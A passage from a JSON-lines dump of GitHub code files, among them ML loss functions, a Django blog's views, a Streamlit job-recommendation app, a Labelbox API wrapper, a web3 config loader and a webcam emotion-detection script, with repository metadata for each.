Momentum/ea_vol.csv')\r\n filepath.parent.mkdir(parents=True, exist_ok=True) \r\n ea_vol.to_csv(filepath) \r\n\r\n '''\r\n with open('ea_vol.csv') as f:\r\n ea_vol = pd.read_csv(f)\r\n ea_vol = ea_vol.set_index('Unnamed: 0')\r\n ea_vol.index = pd.to_datetime(ea_vol.index)\r\n ea_vol.index = ea_vol.index.to_period('M')\r\n\r\n return ea_vol\r\n\r\n\r\n\r\n","repo_name":"dildar0408/Projects","sub_path":"6. Time Series Momentum/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15480582625","text":"from tqdm import tqdm\n\n\ndef removeNumbers(words):\n norm_words = []\n nums = '1234567890'\n\n for w in tqdm(words):\n word = w\n for nm in nums:\n if nm in word:\n word = \"NUM\"\n\n if not word == \"NUM\":\n norm_words.append(word)\n\n norm_words = set(norm_words)\n return norm_words\n\n\ndef removePunctuation(words):\n norm_words = []\n chars = ['\\\\','`','*','_','{','}','[',']','(',')','>','#','+','-','.','!','$','\\'', '?', '%', '^', '&', '<', ';', ':', '\"', ',', '/', '@', '=']\n\n for w in tqdm(words):\n word = w\n for ch in chars:\n if ch in word:\n word = word.replace(ch, '')\n\n norm_words.append(word)\n\n norm_words = set(norm_words)\n return norm_words\n\ndef main():\n file_path = \"..\\\\data\\\\vocab\"\n file = open(file_path, 'r')\n\n lines = file.read()\n lines = lines.split()\n\n lines = removePunctuation(lines)\n lines = removeNumbers(lines)\n\n data = '\\n'.join(lines)\n\n file_path = \"..\\\\data\\\\vocab_normal\"\n file = open(file_path, 'w')\n file.write(data)\n\nmain()\n","repo_name":"hussamh10/NEINLP","sub_path":"src/vocab_normalizer.py","file_name":"vocab_normalizer.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42216481794","text":"import torch\nimport torch.nn as nn\nfrom torch.distributions import Normal\n\n\nclass FlowLoss(nn.Module):\n def __init__(self,spatial_mean=False, logdet_weight=1.):\n super().__init__()\n # self.config = config\n self.spatial_mean = spatial_mean\n self.logdet_weight = logdet_weight\n\n def forward(self, sample, logdet):\n nll_loss = torch.mean(nll(sample, spatial_mean=self.spatial_mean))\n assert len(logdet.shape) == 1\n if self.spatial_mean:\n h,w = sample.shape[-2:]\n nlogdet_loss = -torch.mean(logdet) / (h*w)\n else:\n nlogdet_loss = -torch.mean(logdet)\n\n loss = nll_loss + self.logdet_weight*nlogdet_loss\n reference_nll_loss = torch.mean(nll(torch.randn_like(sample),spatial_mean=self.spatial_mean))\n log = {\n \"flow_loss\": loss,\n \"reference_nll_loss\": reference_nll_loss,\n \"nlogdet_loss\": nlogdet_loss,\n \"nll_loss\": nll_loss,\n 'logdet_weight': self.logdet_weight\n }\n return loss, log\n\nclass FlowLossAlternative(nn.Module):\n def __init__(self):\n super().__init__()\n # self.config = config\n\n def forward(self, sample, logdet):\n nll_loss = torch.mean(torch.sum(0.5*torch.pow(sample, 2), dim=1))\n nlogdet_loss = - logdet.mean()\n\n\n loss = nll_loss + nlogdet_loss\n reference_sample = torch.randn_like(sample)\n reference_nll_loss = torch.mean(torch.sum(0.5*torch.pow(reference_sample, 2), dim=1))\n log = {\n \"flow_loss\": loss,\n \"reference_nll_loss\": reference_nll_loss,\n \"nlogdet_loss\": nlogdet_loss,\n \"nll_loss\": nll_loss\n }\n return loss, log\n\nclass ExtendedFlowLoss(nn.Module):\n def __init__(self,):\n super().__init__()\n # self.config = config\n\n def forward(self, sample_x, sample_v, logdet):\n nll_loss_x = torch.mean(nll(sample_x))\n nll_loss_v = torch.mean(nll(sample_v))\n assert len(logdet.shape) == 1\n nlogdet_loss = -torch.mean(logdet)\n loss = nll_loss_x + nll_loss_v + nlogdet_loss\n reference_nll_loss = torch.mean(nll(torch.randn_like(sample_x)))\n log = {\n \"flow_loss\": loss,\n \"reference_nll_loss\": reference_nll_loss,\n \"nlogdet_loss\": nlogdet_loss,\n \"nll_loss_x\": nll_loss_x,\n \"nll_loss_v\": nll_loss_v\n }\n return loss, log\n\ndef nll(sample, spatial_mean= False):\n if spatial_mean:\n return 0.5 * torch.sum(torch.mean(torch.pow(sample, 2),dim=[2,3]), dim=1)\n else:\n return 0.5 * torch.sum(torch.pow(sample, 2), dim=[1, 2, 3])\n\n\nclass GaussianLogP(nn.Module):\n\n def __init__(self,mu=0.,sigma=1.):\n super().__init__()\n self.dist = Normal(loc=mu,scale=sigma)\n\n def forward(self,sample,logdet):\n nll_log_loss = torch.sum(self.dist.log_prob(sample)) / sample.size(0)\n nlogdet_loss = torch.mean(logdet)\n reference_nll_loss = torch.mean(nll(torch.randn_like(sample)))\n nll_loss = torch.mean(nll(sample))\n loss = - (nll_log_loss + nlogdet_loss)\n log = {\"flow_loss\":loss,\n \"reference_nll_loss\":reference_nll_loss,\n \"nlogdet_loss\":-nlogdet_loss,\n \"nll_loss\": nll_loss,\n \"nll_log_loss\":-nll_log_loss}\n\n return loss, log","repo_name":"CompVis/ipoke","sub_path":"models/modules/INN/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"47"} +{"seq_id":"16461308202","text":"#!/usr/bin/python3\n\nimport sqlite3\nimport calendar\nimport sys\n\n# Initialisation de la connexion\nconn = sqlite3.connect('calendrier.db')\nc = conn.cursor()\n\n# Creation et initialisation de la table des droits au congés (droits totaux et droits restants)\nc.execute(\"CREATE TABLE droits (annee integer, type text, max numeric, reste numeric)\")\nlisteConges = [(sys.argv[1],'normaux',25,25),(sys.argv[1],'ARTT',12,12),(2012,'normaux',12,12),(sys.argv[1],'hiver',2,2),(sys.argv[1],'CHA',2,2),(sys.argv[1],'PF',48,48),(sys.argv[1],'exeptionnel',10,10)]\nc.executemany(\"INSERT INTO droits VALUES (?,?,?,?)\",listeConges)\n\n# Creation de la table calendrier\n# Outil de creation du calendrier\ncal = calendar.Calendar()\nc.execute(\"CREATE TABLE calendrier (annee integer, mois integer, jour integer, placeSemaine integer, congesAM integer, congesPM integer)\")\n# Creation du calendrier mois par mois\nlistejours=[]\nfor m in range(12):\n # Initialisation du mois dans un tableau\n month = [d for d in cal.itermonthdays2(int(sys.argv[1]),m+1) if d[0]!=0]\n # On rajoute chaque jour du mois à la liste des jours (formatté comme il faut (année, mois, jour, placeSemaine))\n for jour in month :\n listejours.append((sys.argv[1], m+1, jour[0], jour[1],0,0))\n\nc.executemany(\"INSERT INTO calendrier VALUES (?,?,?,?,?,?)\",listejours)\n\n# Fermeture de la base\nconn.commit()\nconn.close()\n","repo_name":"ainiton/Calendrier","sub_path":"init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19299287794","text":"#!/usr/bin/env python\nimport json\nimport sys\nimport os\nfrom web3 import Web3\nfrom eth_account import Account\n\n\ndef getenv_or_exit(name):\n \"\"\" Gets the required variable from the environment. Closes the application\n with error if it's not set.\n Args:\n name (string) - The name of required environment variable.\n Return:\n var (respective type) - The value of the variable.\n \"\"\"\n var = os.getenv(name)\n if var is None:\n sys.exit(\"Please set the environment variable {}\".format(name))\n else:\n return var\n\n\n# Establishes the web3 provider. Also gets the average gas price.\nweb3 = Web3(Web3.HTTPProvider(getenv_or_exit(\"RPC\")))\nif web3.isConnected():\n print(\"Connected to the network!\")\nelse:\n sys.exit(\"Could not connect to network. Check your RPC settings.\")\n\n\nCONFIRMATIONS = int(getenv_or_exit(\"CONFIRMATIONS\"))\nTARGET = int(getenv_or_exit(\"TARGET\"))\nTARGET_TIME = int(getenv_or_exit(\"TARGET_TIME\"))\nADDRESS = getenv_or_exit(\"ADDRESS\")\nif not web3.isAddress(ADDRESS):\n if not web3.isChecksumAddress(ADDRESS):\n sys.exit(\"Invalid ADDRESS granted\")\nelse:\n ADDRESS = web3.toChecksumAddress(ADDRESS)\nPRIV_KEY = getenv_or_exit(\"PRIV_KEY\")\nACCOUNT = Account.privateKeyToAccount(PRIV_KEY)\n\n\n# Configuration warnings.\nif TARGET * ((CONFIRMATIONS + 1) * 16.5) > TARGET_TIME:\n print(\n \"Strongly advising you to reconsider the configuration!\"\n \"\\nAccording to average mining and confirmation speed,\"\n \"this is nearly impossible. Performance is not guaranteed.\"\n \"\\nAlso it can lead to excessive expenditures.\"\n )\nelif TARGET_TIME / (TARGET * 60) <= 1:\n print(\n \"Current configuration targets are hard to reach\"\n \"due to possible network fluctuations.\"\n )\n\n# May vary from the current situation on Blockchain.\nBASE_PRICE = int(web3.eth.gasPrice / 1)\n\n\n# Creates contract instance.\nif os.path.exists(\"abi.json\") and os.path.isfile(\"abi.json\"):\n with open(\"abi.json\") as file:\n abi = json.load(file)\n INSTANCE = web3.eth.contract(address=ADDRESS, abi=abi)\nelse:\n sys.exit(\"ABI should be present in file 'abi.json'\")\n","repo_name":"darkost12/CounterReworked","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13746759200","text":"import streamlit as st\nimport pandas as pd\nimport requests\nimport json\n\n\n## Basic config start ##\n\nst.set_page_config(\n page_title =\"Data Jobs\", \n layout=\"wide\", \n page_icon=\"💿\",\n initial_sidebar_state=\"expanded\",\n menu_items = {\n 'Get Help': None,\n 'Report a bug': None,\n 'About': 'Web app by Ray Lu, Inspired by Ray Chen.'\n }\n)\n\nhide_streamlit_footer = \"\"\"\n \n \"\"\"\nst.markdown(hide_streamlit_footer, unsafe_allow_html=True) \n\nbotton_color = st.markdown(\"\"\"\n \"\"\", unsafe_allow_html=True)\n## Basic config end ##\n\n### only check if there're any empty in all boxes\ndef check_empty(values:list):\n \n if (\"\" in values or 0 in values): \n st.error(f\"{'All the boxes are required! Please select a value.'}\")\n st.stop()\n else:\n pass\n\n\n\n\n\n\ndef main():\n\n ## Layout config\n st.title(\"Data Jobs\")\n activities = [\"Job Type Recommend\",\"Currently Opening Job Recommend for You\",\"About this AI application\",]#\"Persional Report\"\n st.sidebar.title(\"Navigation\")\n choice = st.sidebar.radio(\"\",activities)\n \n \n ## Job Type Recommend\n if choice == \"Job Type Recommend\":\n \n \n st.header(\"Recommend the suitable Data Related Job Type For You\")\n st.write(\"This application enables to classify the suitable Data Related Job Type according to your Ability and Expectation.\")\n \n\n #check the problem here maybe???\n if st.session_state == {}:\n st.session_state = {\n \"Min_Salary\":0,\n \"Max_Salary\":0,\n \"FAANG\":\"\",\n \"Senior\":\"\",\n \"New_company\":\"\",\n \"Java\":\"\",\n \"R\":\"\",\n \"SQL\":\"\",\n \"Python\":\"\",\n \"Database\":\"\",\n \"ETL\":\"\",\n \"OOP\":\"\" , \n \"Modeling\":\"\",\n \"ML\":\"\",\n \"Tableau\":\"\",\n \"Power_BI\":\"\",\n \"MS\":\"\",\n \"PHD\":\"\"\n }\n else:\n pass\n\n col1, col2, col3, col4 = st.columns(4)\n\n Min_Salary = col1.number_input('Enter your expected minimum salary', step = 10000, help = \"IN USD$\", value= st.session_state['Min_Salary'])\n Max_Salary = col2.number_input('Enter your expected maximum salary', step = 10000, help = \"IN USD$\", value= st.session_state['Max_Salary'])\n\n FAANG = col3.selectbox(\"Want to find a FAANG Job?\",[st.session_state['FAANG'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n Senior = col4.selectbox(\"Want to find a Senior Job?\",[st.session_state['Senior'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x) \n New_company = col1.selectbox(\"Want to work at Young Company?\",[st.session_state['New_company'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n Java = col2.selectbox(\"Programming Skill : Java\",[st.session_state['Java'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n R = col3.selectbox(\"Programming Skill : R\",[st.session_state['R'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n SQL = col4.selectbox(\"Programming Skill : SQL\",[st.session_state['SQL'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n Python = col1.selectbox(\"Programming Skill : Python\",[st.session_state['Python'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n Database = col2.selectbox(\"Software Skill : Database related\",[st.session_state['Database'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x) \n ETL = col3.selectbox(\"Software Skill : ETL\",[st.session_state['ETL'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n OOP = col4.selectbox(\"Software Skill : OOP\",[st.session_state['OOP'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n Modeling = col1.selectbox(\"Software Skill : Data Modeling\", [st.session_state['Modeling'],\"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n ML = col2.selectbox(\"Software Skill : Machine Learning\",[st.session_state['ML'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n Tableau = col3.selectbox(\"Software Skill : Tableau\",[st.session_state['Tableau'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n Power_BI =col4.selectbox(\"Software Skill : Power BI\",[st.session_state['Power_BI'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n MS = col1.selectbox(\"Education : Master Degree\",[st.session_state['MS'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n PHD = col2.selectbox(\"Education : PH.D.\",[st.session_state['PHD'], \"Yes\",\"No\"], format_func=lambda x: 'Select an option' if x == \"\" else x)\n \n \n features_list = {'Min_Salary':Min_Salary, 'Max_Salary':Max_Salary, 'FAANG':FAANG, 'Senior':Senior, 'New_company':New_company, \n 'Java':Java, 'R':R, 'SQL':SQL, 'Python':Python, 'Database':Database, 'ETL':ETL, 'OOP':OOP, 'Modeling':Modeling, \n 'ML':ML, 'Tableau':Tableau, 'Power_BI':Power_BI, 'MS':MS, 'PHD':PHD}\n \n session_list = {'Min_Salary':Min_Salary, 'Max_Salary':Max_Salary, 'FAANG':FAANG, 'Senior':Senior, 'New_company':New_company, \n 'Java':Java, 'R':R, 'SQL':SQL, 'Python':Python, 'Database':Database, 'ETL':ETL, 'OOP':OOP, 'Modeling':Modeling, \n 'ML':ML, 'Tableau':Tableau, 'Power_BI':Power_BI, 'MS':MS, 'PHD':PHD}\n \n st.session_state = session_list\n\n check_value = list(features_list.values())\n \n \n col5, col6 = st.columns([1,1])\n\n if col5.button(\"Click Here to Find Your Job!\"):\n for element in list(features_list.keys()):\n if features_list[element] == 'Yes':\n features_list[element] = 1\n elif features_list[element] == 'No':\n features_list[element] = 0\n \n check_empty(check_value)\n\n \n res = requests.post(url = 'http://127.0.0.1:8000/job_type_prediction', data = json.dumps(features_list))\n col5.subheader(f\"{res.json()['Prediction']}\")\n \n \n\n if col6.button('Reset'):\n \n st.session_state = {}\n st.experimental_rerun()\n \n if choice == \"Currently Opening Job Recommend for You\":\n\n st.header(\"Currently Opening Data Related Job Based on Your Requirement\")\n check_empty(list(st.session_state.values()))\n \n get_data_list = {}\n value = list(st.session_state.values())\n key = list(st.session_state.keys())\n\n for i,j in zip(key, value):\n get_data_list[i]=j\n \n \n for element in list(get_data_list.keys()):\n if get_data_list[element] == 'Yes':\n get_data_list[element] = 1\n elif get_data_list[element] == 'No':\n get_data_list[element] = 0\n \n \n\n data = requests.post(url = 'http://127.0.0.1:8000/job_recommand', data = json.dumps(get_data_list))\n df = pd.DataFrame(data.json())\n st.table(df)\n \n\n\n \n\nif __name__ == '__main__':\n\n main()\n","repo_name":"uray-lu/data-scientist-job-classify","sub_path":"streamlit_frontend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33276048905","text":"# -*- coding: utf-8 -*-\n# author: 'boliang'\n# date: 2017/10/23 22:57\n\nfrom django.shortcuts import render\nfrom django.views.generic import View\nfrom django.db.models import Q\nfrom pure_pagination import Paginator, PageNotAnInteger\nimport math\n\nfrom .models import ArticleSortRecord, ArticlesRecord\nfrom photos_manage.models import PhotoShowRecord\nfrom about_me.models import AboutMeRecord, WritingsRecord\nfrom operation.models import SendCommentRecord\nfrom utils.util import Util, random, IgnorePageOperation\n\n\nclass StudyView(View):\n def get_sort_html(self, request, sort_id):\n article_sort = ArticleSortRecord.objects.get(id=sort_id)\n try:\n about_me = AboutMeRecord.objects.get(id=1)\n except:\n about_me = None\n articles = ArticlesRecord.objects.order_by('-add_time')\n new_articles = articles[:5]\n articles = articles.filter(sort=article_sort)\n\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n\n p = Paginator(articles, 5, request=request)\n articles = p.page(page)\n\n return render(request, 'sort.html', {\n 'active': 'study',\n 'about_me': about_me,\n 'article_sort': article_sort,\n 'articles': articles,\n 'new_articles': new_articles\n })\n\n def get_total_html(self, request):\n util = Util()\n article_sorts = ArticleSortRecord.objects.all()\n articles = ArticlesRecord.objects.order_by('-add_time')\n try:\n about_me = AboutMeRecord.objects.get(id=1)\n except:\n about_me = None\n\n new_articles = articles[:5]\n try:\n feelings_sort = article_sorts.get(name='Feelings')\n except:\n feelings_sort = None\n\n\n article_sorts = article_sorts.filter(~Q(name = 'Feelings'))\n articles = articles.filter(~Q(sort = feelings_sort))\n\n colors = ['article-class-btn-color-1',\n 'article-class-btn-color-2',\n 'article-class-btn-color-3',\n 'article-class-btn-color-4']\n\n article_sorts = util.selectData(\n datas = article_sorts,\n data_len = article_sorts.count(),\n select_len = article_sorts.count()\n )\n\n tmp_article_sorts = []\n\n try:\n for article_sort in article_sorts:\n index = random.randint(0, 3)\n tmp_article_sort = {\n 'article_sort': article_sort,\n 'color': colors[index]\n }\n tmp_article_sorts.append(tmp_article_sort)\n except:\n tmp_article_sorts = []\n\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n\n p = Paginator(articles, 5, request=request)\n articles = p.page(page)\n\n return render(request, 'study.html', {\n 'active': 'study',\n 'tmp_article_sorts': tmp_article_sorts,\n 'articles': articles,\n 'about_me': about_me,\n 'new_articles': new_articles\n })\n\n def get(self, request):\n\n try:\n sort = request.GET.get('sort', 0)\n except:\n sort = 0\n\n if sort == 0:\n return self.get_total_html(request)\n else:\n return self.get_sort_html(request, int(sort))\n\n\nclass ArticlesView(View):\n\n def get_pre_next(self, datas, add_time):\n pre_articles = datas.filter(add_time__gt=add_time)\n next_articles = datas.filter(add_time__lt=add_time)\n\n pre_articles = pre_articles.order_by('add_time')\n next_articles = next_articles.order_by('-add_time')\n\n pre_len = pre_articles.count()\n next_len = next_articles.count()\n pre_flag = True\n next_flag = True\n if pre_len == 0:\n pre_flag = False\n\n if next_len == 0:\n next_flag = False\n\n if not pre_flag and not next_flag:\n return 'None', 'None'\n elif not pre_flag:\n return 'None', next_articles[0]\n elif not next_flag:\n return pre_articles[0] , 'None'\n else:\n return pre_articles[0], next_articles[0]\n\n def get(self, request):\n util = Util()\n try:\n article_id = request.GET.get('id', 1)\n except:\n article_id = 1\n\n try:\n send_sort = request.GET.get('sort', 0)\n except:\n send_sort = 0\n\n articles = ArticlesRecord.objects.order_by('-add_time')\n new_articles = articles[:5]\n article = articles.get(id=int(article_id))\n comments = SendCommentRecord.objects.filter(from_article=article)\n comments = comments.order_by('-add_time')\n\n writing = WritingsRecord.objects.filter(type='from_others')\n\n try:\n writing = util.selectData(\n datas = writing,\n data_len = writing.count(),\n select_len = 1\n )[0]\n except:\n writing = None\n\n article_sorts = ArticleSortRecord.objects.all()\n feelings_sort = article_sorts.get(name='Feelings')\n article_sort = ArticleSortRecord.objects.get(name=article.sort)\n article_sorts = util.selectData(\n datas = article_sorts,\n data_len = article_sorts.count(),\n select_len = 4\n )\n\n tmp_article_sorts = []\n colors = ['btn article-class-btn-color-1',\n 'btn article-class-btn-color-2',\n 'btn article-class-btn-color-3',\n 'btn article-class-btn-color-4']\n\n for _sort in article_sorts:\n index = random.randint(0, 3)\n tmp_article_sort = {\n 'article_sort': _sort,\n 'color': colors[index]\n }\n tmp_article_sorts.append(tmp_article_sort)\n\n\n if send_sort == 0 and article_sort.name != 'Feelings':\n articles = articles.filter(~Q(sort=feelings_sort))\n pre_article, next_article = self.get_pre_next(articles, article.add_time)\n else:\n pre_article, next_article = self.get_pre_next(articles.filter(sort=article_sort), article.add_time)\n\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n\n ignore_page_operation = IgnorePageOperation(int(page), int(math.ceil(comments.count() / 3.0)))\n pre_ignore_page, next_ignore_page = ignore_page_operation.getIgnorePage()\n\n p = Paginator(comments, 3, request=request)\n\n comments = p.page(page)\n\n head_images = PhotoShowRecord.objects.filter(image_type='headImg')\n head_images = util.selectData(\n datas=head_images,\n data_len=head_images.count(),\n select_len=5\n )\n\n try:\n head_image = head_images[0]\n except:\n head_image = None\n\n return render(request, 'article.html', {\n 'active': 'study',\n 'article': article,\n 'comments': comments,\n 'pre_article': pre_article,\n 'next_article': next_article,\n 'writing': writing,\n 'tmp_article_sorts': tmp_article_sorts,\n 'new_articles': new_articles,\n 'send_sort': send_sort,\n 'article_sort': article_sort,\n 'not_feelings': article_sort.name != 'Feelings',\n 'head_images': head_images,\n 'first_image': head_image,\n 'pre_ignore_page': pre_ignore_page,\n 'next_ignore_page': next_ignore_page\n })\n\n\n def post(self, request):\n pass\n\n\nclass FeelingsView(View):\n def get(self, request):\n util = Util()\n try:\n sort = ArticleSortRecord.objects.filter(name='Feelings')[0]\n except:\n sort = None\n\n articles = ArticlesRecord.objects.order_by('-add_time')\n new_articles = articles[:5]\n articles = articles.filter(sort=sort)\n scenery_images = PhotoShowRecord.objects.filter(image_type='scenery')\n\n try:\n scenery_images = util.selectData(\n datas = scenery_images,\n data_len = scenery_images.count(),\n select_len = 2\n )\n except:\n scenery_images = None\n\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n\n p = Paginator(articles, 6, request=request)\n articles = p.page(page)\n\n return render(request, 'feelings.html', {\n 'active': 'feelings',\n 'articles': articles,\n 'article_sort': sort,\n 'scenery_images': scenery_images,\n 'new_articles': new_articles\n })\n\n\n\n\n\n","repo_name":"FLbliang/boliangblog","sub_path":"apps/articles_manage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39506008212","text":"import os\nimport yaml\nimport json\nfrom graphqlclient import GraphQLClient\n#\n# CONSTANTS\n#\nLBOX_PATH=os.path.dirname(os.path.realpath(__file__))\nCONFIG_PATH=\"{}/lbox.config.yaml\".format(LBOX_PATH)\nCREATE_DS_ERROR=\"lbox.api.create_dataset: connecting to projects not yet implemented\"\n\n#\n# HELPERS\n#\ndef config(*keys):\n \"\"\" load meta data yaml\n Args:\n *keys: series of keys to extract element of interest\n \"\"\"\n cfig=yaml.safe_load(open(CONFIG_PATH))\n for key in keys:\n cfig=cfig[key]\n return cfig\n\n\n#\n# API\n#\ndef get_client(client_url=None,api_key=None,cfig=None):\n if not (client_url and api_key):\n if not cfig:\n cfig=config()\n client_url=cfig['client']\n api_key=cfig['api_key']\n client=GraphQLClient(client_url)\n client.inject_token(f'Bearer {api_key}')\n return client\n\n\ndef get_ids(dataset_id,client=None):\n response_str=_client(client).execute(\n QUERY['get_ids'],\n {'dataSetId': dataset_id})\n response=json.loads(response_str)\n return [d['id'] for d in response['data']['dataset']['dataRows']]\n\n\ndef get_filtered_ids(dataset_id,external_ids,client=None):\n response_str=_client(client).execute(\n QUERY['get_ids'],\n {'dataSetId': dataset_id})\n response=json.loads(response_str)\n rows=response['data']['dataset']['dataRows']\n return [row['id'] for row in rows if row['externalId'] in external_ids]\n \n\ndef delete_datarows(datarow_ids,client=None):\n response_str=_client(client).execute(\n QUERY['delete_datarows'],\n {'datarowIds': datarow_ids})\n response=json.loads(response_str)\n return response['data']['deleteDataRows']\n\n\ndef bulk_import(dataset_id,url,client=None):\n response_str=_client(client).execute(\n QUERY['bulk_import'],\n {'dataSetId': dataset_id,'jsonURL': url})\n response=json.loads(response_str)\n return response['data']['appendRowsToDataset']['accepted']\n\n\ndef add_info(datarow_id,value=None,typ='TEXT',client=None):\n if not value: value=datarow_id\n response_str=_client(client).execute(\n QUERY['add_info'], \n {'dataRowId': datarow_id,'metaValue': value,'metaType': typ})\n response=json.loads(response_str)\n return response['data']['createAssetMetadata']\n\n\ndef create_dataset(dataset_name,projects=None,project_ids=[],client=None):\n if projects or project_ids: \n # projects={ 'connect': [pid for pid in project_ids] }\n raise NotImplementedError(CREATE_DS_ERROR)\n response_str=_client(client).execute(\n QUERY['create_dataset'], \n {'dataSetName': dataset_name,'projects': projects})\n response=json.loads(response_str)\n return response['data']['createDataset']['id']\n\n\n#\n# INTERNAL\n#\ndef _client(client):\n if not client:\n client=get_client()\n return client\n\n\n\n#\n# QUERIES\n#\nQUERY={\n \"create_dataset\": \"\"\"\n mutation createDataset($dataSetName: String!){\n createDataset(\n data:{\n name: $dataSetName \n }\n ) {\n id\n }\n }\n \"\"\",\n \"bulk_import\":\"\"\"\n mutation AppendRowsToDataset($dataSetId: ID!, $jsonURL: String!){\n appendRowsToDataset(\n data:{\n datasetId: $dataSetId,\n jsonFileUrl: $jsonURL,\n }\n ){\n accepted\n }\n } \n \"\"\",\n \"get_ids\": \"\"\"\n query getDataRowIds($dataSetId: ID!){\n dataset(where:{id:$dataSetId}){\n id\n dataRows(first:100, skip:0){\n id\n externalId\n rowData\n\n }\n }\n }\n \"\"\",\n \"add_info\": \"\"\"\n mutation AddAssetInfo($dataRowId:ID!, $metaValue:String!, $metaType: MetadataType!) {\n createAssetMetadata(\n data: {\n dataRowId: $dataRowId,\n metaValue: $metaValue,\n metaType: $metaType,\n }\n ) {\n id\n }\n }\n \"\"\",\n \"delete_datarows\":\"\"\"\n mutation DeleteDataRowsFromAPI($datarowIds: [ID!]!) {\n deleteDataRows(where:{\n dataRowIds: $datarowIds\n }){\n id\n deleted\n }\n }\n \"\"\"\n}","repo_name":"brookisme/lbox","sub_path":"lbox.py","file_name":"lbox.py","file_ext":"py","file_size_in_byte":4261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24340622108","text":"# list를 전달 받아, 연속적으로 나타나는 숫자는 하나만 남기고 제거한 list를 출력\n# 이 때 제거된 후 남은 수들이 담긴 list의 요소들은 기존 순서를 유지해야함\n\n# 일단 input형태는 1 1 3 3 이런식으로 입력되는걸로 가정하자\n# 빈 새 리스트를 하나 만들어두고 반복문 수행하면서 lst의 인덱스가 새 리스트\n# 마지막 인덱스와 같으면 넘어가고, 같지않으면 새 리스트에 해당 문자열 추가\n\nlst = input().split()\nresult = []\nprint(lst)\nprint(range(len(lst)))\nfor i in range(len(lst)):\n if i == 0:\n result.append(lst[i])\n elif lst[i] != result[-1]:\n result.append(lst[i])\n\nprint(result)","repo_name":"nyoungnyoung/Personal","sub_path":"실습실과제/파이썬/4-3_1689.py","file_name":"4-3_1689.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32262411326","text":"import cv2 # for image processing\r\nimport numpy as np # for numerical operations\r\nfrom keras.models import load_model # for loading the pre-trained CNN model\r\n\r\n# Load the pre-trained model\r\nmodel = load_model('fer2013_mini_XCEPTION.102-0.66.hdf5')\r\n\r\n# Define the emotions\r\nEMOTIONS = [\"angry\", \"disgust\", \"scared\",\r\n \"happy\", \"sad\", \"surprised\", \"neutral\"]\r\n\r\n# Initialize the camera\r\ncap = cv2.VideoCapture(0)\r\n\r\nwhile True:\r\n # Capture frame-by-frame\r\n ret, frame = cap.read()\r\n\r\n # Convert the frame to grayscale\r\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n\r\n # Detect faces in the frame\r\n face_cascade = cv2.CascadeClassifier(\r\n cv2.data.haarcascades + \"haarcascade_frontalface_default.xml\")\r\n faces = face_cascade.detectMultiScale(\r\n gray, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30), flags=cv2.CASCADE_SCALE_IMAGE)\r\n\r\n # Process each face detected\r\n for (x, y, w, h) in faces:\r\n # Extract the face ROI\r\n face_roi = gray[y:y + h, x:x + w]\r\n\r\n # Resize the face ROI\r\n face_roi = cv2.resize(face_roi, (64, 64))\r\n\r\n # Normalize the face ROI\r\n face_roi = face_roi.astype(\"float\") / 255.0\r\n\r\n # Reshape the face ROI\r\n face_roi = np.reshape(face_roi, (1, 64, 64, 1))\r\n\r\n # Make predictions on the face ROI\r\n preds = model.predict(face_roi)[0]\r\n\r\n # Determine the emotion with the highest probability\r\n emotion = EMOTIONS[np.argmax(preds)]\r\n\r\n # Display the emotion text on the frame\r\n cv2.putText(frame, emotion, (x, y - 10),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0, 255, 0), 2)\r\n\r\n # Draw a rectangle around the face\r\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\r\n\r\n # Display the resulting frame\r\n cv2.imshow('Facial Emotion Detection', frame)\r\n\r\n # Exit the loop if the 'q' key is pressed\r\n if cv2.waitKey(1) & 0xFF 